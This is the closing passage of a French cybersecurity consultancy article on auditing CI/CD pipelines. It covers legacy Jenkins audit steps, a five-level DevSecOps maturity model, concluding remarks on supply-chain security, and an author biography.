Comment auditer un pipeline Jenkins legacy ?
Les pipelines Jenkins posent des défis spécifiques qui nécessitent une approche d'audit adaptée. Les Jenkinsfiles sont souvent stockés hors du dépôt principal (dans une shared library Jenkins), ce qui les rend moins visibles et moins audités. Les plugins tiers sont rarement mis à jour et accumulent des CVE (Jenkins a un historique de vulnérabilités critiques dans ses plugins). L'authentification est souvent mal configurée (pas de SSO, pas de MFA, parfois "Anyone can do anything"). L'audit commence par : inventaire des plugins via l'API /pluginManager/api/json et comparaison des versions avec les CVE connues (le site jenkins.io/security/ maintient une liste). Vérification de la configuration de sécurité globale : authentification (LDAP/SAML, pas l'auth matricielle Jenkins), autorisation par matrice de projets (pas "Anyone can do anything"), CSRF protection activée, CLI désactivé ou restreint aux administrateurs, master isolé des agents. Pour les Jenkinsfiles, appliquez les mêmes principes SAST/SCA/secrets que pour les autres CI, mais attention : Jenkins exécute les Jenkinsfiles avec les permissions du service account Jenkins (souvent root ou avec accès à tous les secrets de l'instance). La recommandation d'audit la plus fréquente est la migration vers GitHub Actions ou GitLab CI pour les organisations dont le Jenkins est non maintenu — le coût de mise en conformité d'un Jenkins legacy dépasse souvent le coût de migration.
Analyse complémentaire
Comment mesurer le niveau de maturité DevSecOps d'une organisation ?
Nous utilisons un modèle de maturité à 5 niveaux, inspiré du DSOMM (DevSecOps Maturity Model) de l'OWASP, adapté avec nos observations terrain. Niveau 1 (Initial) : aucun contrôle de sécurité automatisé dans le pipeline, les tests de sécurité sont manuels et ponctuels (pentest annuel). Niveau 2 (Managed) : SAST et/ou SCA actifs sur certains dépôts mais pas tous, résultats gérés manuellement (email/Slack), pas de processus d'exception formalisé, pas de métriques. Niveau 3 (Defined) : pipeline de sécurité standardisé sur tous les dépôts de l'organisation, résultats centralisés dans DefectDojo ou équivalent, processus d'exception documenté et suivi, SLA de remédiation définis, métriques de base mesurées (MTTR, coverage). Niveau 4 (Quantitatively Managed) : toutes les métriques mesurées et suivies dans le temps, SBOM et signature d'artefacts systématiques, DAST intégré, provenance SLSA >= 3, politique d'exceptions révisée trimestriellement, formation sécurité obligatoire pour les développeurs. Niveau 5 (Optimizing) : Policy as Code (OPA/Rego) pour la gouvernance du pipeline, amélioration continue basée sur les métriques et les retours d'expérience des incidents, red team automatisé dans le pipeline (fuzzing continu, chaos engineering), contribution à l'écosystème (publication de règles Semgrep, templates Nuclei). La plupart des organisations que nous auditons se situent entre les niveaux 1 et 2. Atteindre le niveau 3 en 6 mois est un objectif réaliste et impactant — c'est là que le rapport coût/bénéfice est le meilleur.
Conclusion Opérationnelle
L'audit d'un pipeline CI/CD révèle systématiquement des failles significatives, y compris dans des organisations qui se considèrent matures en matière de sécurité. Les erreurs les plus fréquentes — permissions GITHUB_TOKEN excessives par défaut, actions tierces non pinnées par SHA, secrets IAM avec des droits d'administration, runners partagés entre niveaux de confiance — sont aussi les plus faciles à corriger techniquement. La difficulté n'est pas technique mais organisationnelle : il faut convaincre les équipes de développement que ces contrôles ne sont pas un frein mais une protection qui leur permet de déployer avec confiance, il faut calibrer les outils pour minimiser les faux positifs tout en maintenant une couverture efficace, et il faut structurer la gouvernance pour que les exceptions ne deviennent pas des trous béants dans la posture de sécurité.
Le pipeline CI/CD est simultanément la dernière ligne de défense avant la production et la cible la plus lucrative pour un attaquant qui veut compromettre votre chaîne d'approvisionnement. Un audit rigoureux, suivi d'une implémentation progressive et mesurée des contrôles, transforme cette ligne de défense en un avantage compétitif : les organisations qui maîtrisent leur pipeline de sécurité déploient plus vite (moins de rollbacks, moins d'incidents) et avec plus de confiance (chaque artefact est traçable, vérifié et signé) que celles qui ne le font pas. Les outils existent, ils sont majoritairement open-source et de qualité production, et leur intégration est documentée par des communautés actives. Il ne reste qu'à les déployer — méthodiquement, progressivement, et avec le soutien explicite de la direction qui comprend que la sécurité de la chaîne d'approvisionnement n'est plus optionnelle en 2026.
Pour approfondir les aspects spécifiques de la sécurité des conteneurs mentionnés dans cet article, consultez notre analyse sur la sécurité des conteneurs Docker et Kubernetes. L'intégration du threat modeling STRIDE en amont du pipeline permet d'identifier les contrôles de sécurité les plus pertinents pour votre contexte spécifique. Pour la partie DAST, notre article sur les scanners de vulnérabilités web détaille les configurations avancées de ZAP et Nuclei, incluant les scans authentifiés et les templates personnalisées. Enfin, la protection de la chaîne d'approvisionnement est indissociable d'une bonne gestion sécurisée des dépendances couvrant npm, pip, Maven et les registres privés.
Télécharger cet article en PDF
Format A4 optimisé pour l'impression et la lecture hors ligne
À propos de l'auteur
Ayi NEDJIMI
Auditeur Senior Cybersécurité & Consultant IA
Expert Judiciaire — Cour d'Appel de Paris
Habilitation Confidentiel Défense
ayi@ayinedjimi-consultants.fr
Ayi NEDJIMI est un vétéran de la cybersécurité avec plus de 25 ans d'expérience sur des missions critiques. Ancien développeur Microsoft à Redmond sur le module GINA (Windows NT4) et co-auteur de la version française du guide de sécurité Windows NT4 pour la NSA.
À la tête d'Ayi NEDJIMI Consultants, il réalise des audits Lead Auditor ISO 42001 et ISO 27001, des pentests d'infrastructures critiques, du forensics et des missions de conformité NIS2 / AI Act.
Conférencier international (Europe & US), il a formé plus de 10 000 professionnels.
Domaines d'expertise
Ressources & Outils de l'auteur
Testez vos connaissances
Mini-quiz de certification lié à cet article — propulsé par CertifExpress
Articles connexes
Cloud IAM : AWS IAM vs Azure RBAC vs GCP IAM — Comparatif
La gestion des identités et des accès (IAM) dans le cloud public est devenue en 2026 le domaine le plus complexe et le plus critique de la sécurité informatique. Les trois hyperscalers — AWS, Azure et Google Cloud Platform —...
Kubernetes RBAC : Guide Sécurisation des Permissions
Le contrôle d'accès basé sur les rôles (RBAC) dans Kubernetes constitue le mécanisme fondamental de gouvernance des permissions au sein d'un cluster. Chaque requête adressée à l'API Server — qu'elle provienne d'un administrateur exécutant kubectl, d'un pod accédant à des...
Conditional Access Azure : Guide Complet Entra ID 2026
En 2026, la gestion des accès conditionnels dans Microsoft Entra ID (anciennement Azure Active Directory) constitue le socle fondamental de toute stratégie Zero Trust appliquée aux environnements cloud Microsoft. Les politiques de Conditional Access déterminent en temps réel si un...
Commentaires
Aucun commentaire pour le moment. Soyez le premier à commenter !
Laisser un commentaire